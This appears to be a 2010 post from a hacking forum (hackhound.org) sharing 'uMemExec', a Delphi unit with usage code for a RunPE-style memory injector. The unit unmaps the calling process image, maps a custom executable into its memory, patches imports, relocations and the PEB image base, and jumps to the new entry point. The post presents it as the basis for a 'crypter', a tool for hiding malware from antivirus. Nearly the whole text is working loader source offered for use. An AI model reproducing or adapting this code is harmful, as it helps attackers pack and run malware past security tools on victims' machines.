We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Jun 29, 2010 6:02:41 PM
Unit: uMemExec
Author: steve10120
Description: Map and execute a PE file in the calling process's memory.
Concept Credits: shapeless
Website: hackhound.org
History: First try
This memory injection unit shows you how to unmap the current process and map in a custom PE.
A full crypter coded by shapeless using this technique can be found here:
Unit:
unit uMemExec;interfaceuses Windows;type PImageImportDescriptor = ^TImageImportDescriptor; TImageImportDescriptor = packed record OriginalFirstThunk: DWORD; TimeDateStamp: DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD; end; PImportByName = ^TImportByName; TImportByName = packed record Name1: DWORD; end; PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: DWORD; SizeOfBlock: DWORD; end;type PFuncParams = ^TFuncParams; TFuncParams = record dwImageBase: DWORD; hThread: DWORD; pBuffer: Pointer; WaitForSingleObject: function(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall; UnmapViewOfFile: function(lpBaseAddress: Pointer): BOOL; stdcall; VirtualAlloc: function(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: DWORD): Pointer; stdcall; MessageBox: function(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall; RtlMoveMemory: procedure(Destination, Source: Pointer; dwLength: DWORD); stdcall; ExitProcess: function(ExitCode:DWORD):DWORD; GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; LoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall; end;procedure LoadPE(Params:PFuncParams);procedure EndProc();implementationprocedure LoadPE(Params:PFuncParams);var pMem: Pointer; IDH: TImageDosHeader; INH: TImageNtHeaders; ISH: TImageSectionHeader; IID: PImageImportDescriptor; IBN: PImportByName; i: DWORD; hDll: DWORD; pWrite: ^Pointer; pBase: Pointer; IBR: PImageBaseRelocation; dwCount: DWORD; pItem: PWORD;Label SEHExit;begin asm push offset SEHExit push fs:[0] mov fs:[0], esp end; with Params^ do begin WaitForSingleObject(hThread, INFINITE); IDH := TImageDosHeader(pBuffer^); if IDH.e_magic = IMAGE_DOS_SIGNATURE then begin INH := TImageNtHeaders(Pointer(DWORD(pBuffer) + IDH._lfanew)^); if INH.Signature = IMAGE_NT_SIGNATURE then begin if dwImageBase = INH.OptionalHeader.ImageBase then UnmapViewOfFile(Pointer(INH.OptionalHeader.ImageBase)); pMem := VirtualAlloc(Pointer(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if pMem = nil then pMem := VirtualAlloc(nil, INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if pMem <> nil then begin asm push eax push ecx mov eax, fs:[30h] mov ecx, pMem mov [eax+8], ecx pop ecx pop eax end; RtlMoveMemory(pMem, pBuffer, INH.OptionalHeader.SizeOfHeaders); for i := 0 to INH.FileHeader.NumberOfSections - 1 do begin ISH := TImageSectionHeader(Pointer(DWORD(pBuffer) + IDH._lfanew + 248 + i * 40)^); if ISH.SizeOfRawData > 0 then RtlMoveMemory(Pointer(DWORD(pMem) + ISH.VirtualAddress), Pointer(DWORD(pBuffer) + ISH.PointerToRawData), ISH.SizeOfRawData); end; if (INH.OptionalHeader.DataDirectory[1].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[1].Size > 0) then begin IID := PImageImportDescriptor(Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[1].VirtualAddress)); while IID^.Name <> 0 do begin hDll := LoadLibrary(PChar(Pointer(DWORD(pMem) + IID.Name))); if hDll <> INVALID_HANDLE_VALUE then begin if IID.OriginalFirstThunk <> 0 then IBN := PImportByName(Pointer(DWORD(pMem) + IID.OriginalFirstThunk)) else IBN := PImportByName(Pointer(DWORD(pMem) + IID.FirstThunk)); pWrite := Pointer(DWORD(pMem) + IID.FirstThunk); while IBN.Name1 <> 0 do begin if (IBN.Name1 and $80000000) <> 0 then pWrite^ := GetProcAddress(hDll, PChar(IBN.Name1 and $ffff)) else pWrite^ := GetProcAddress(hDll, PChar(DWORD(pMem) + IBN.Name1 + 2)); Inc(IBN); Inc(pWrite); end; end; Inc(IID); end; if (DWORD(pMem) <> INH.OptionalHeader.ImageBase) and ((INH.OptionalHeader.DataDirectory[5].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[5].Size > 0)) then begin pBase := Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[5].VirtualAddress); IBR := pBase; while (DWORD(IBR) - DWORD(pBase)) < INH.OptionalHeader.DataDirectory[5].Size do begin dwCount := Trunc((IBR.SizeOfBlock - 8) / 2); pItem := Pointer(DWORD(IBR) + 8); for i := 0 to dwCount - 1 do begin if (pItem^ shr 12) = 3 then Inc(PDWORD(DWORD(pMem) + IBR.VirtualAddress + (pItem^ and $FFF))^, DWORD(pMem) - INH.OptionalHeader.ImageBase); pItem := Pointer(DWORD(pItem) + 2); end; IBR := Pointer(DWORD(IBR) + IBR.SizeOfBlock); end; end; asm mov eax, pMem add eax, INH.OptionalHeader.AddressOfEntryPoint // INT 3 jmp eax end; end; end; end; end; end;SEHExit: ExitProcess(0);end;procedure EndProc(); begin end;end.Usage:
var Params: PFuncParams; dwNull: DWORD; hKernel32: DWORD; pFunc: Pointer; dwSize: DWORD; pFile: Pointer;begin Params := VirtualAlloc(nil, SizeOf(Params^), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE); dwSize := DWORD(@EndProc) - DWORD(@LoadPE); pFunc := VirtualAlloc(nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if Assigned(pFunc) then begin CopyMemory(pFunc, @LoadPE, dwSize); Params.dwImageBase := GetModuleHandle(nil); Params.hThread := GetCurrentThreadID; hKernel32 := GetModuleHandle('kernel32.dll'); Params^.WaitForSingleObject := GetProcAddress(hKernel32, 'WaitForSingleObject'); Params^.UnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile'); Params^.VirtualAlloc := GetProcAddress(hKernel32, 'VirtualAlloc'); Params^.MessageBox := GetProcAddress(GetModuleHandle('user32.dll'), 'MessageBoxA'); Params^.RtlMoveMemory := GetProcAddress(hKernel32, 'RtlMoveMemory'); Params^.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess'); Params^.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA'); Params^.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress'); FileToMem('notepad.exe', pFile); Params.pBuffer := pFile; BeginThread(nil, 0, pFunc, Pointer(Params), 0, dwNull); ExitThread(0); end;end.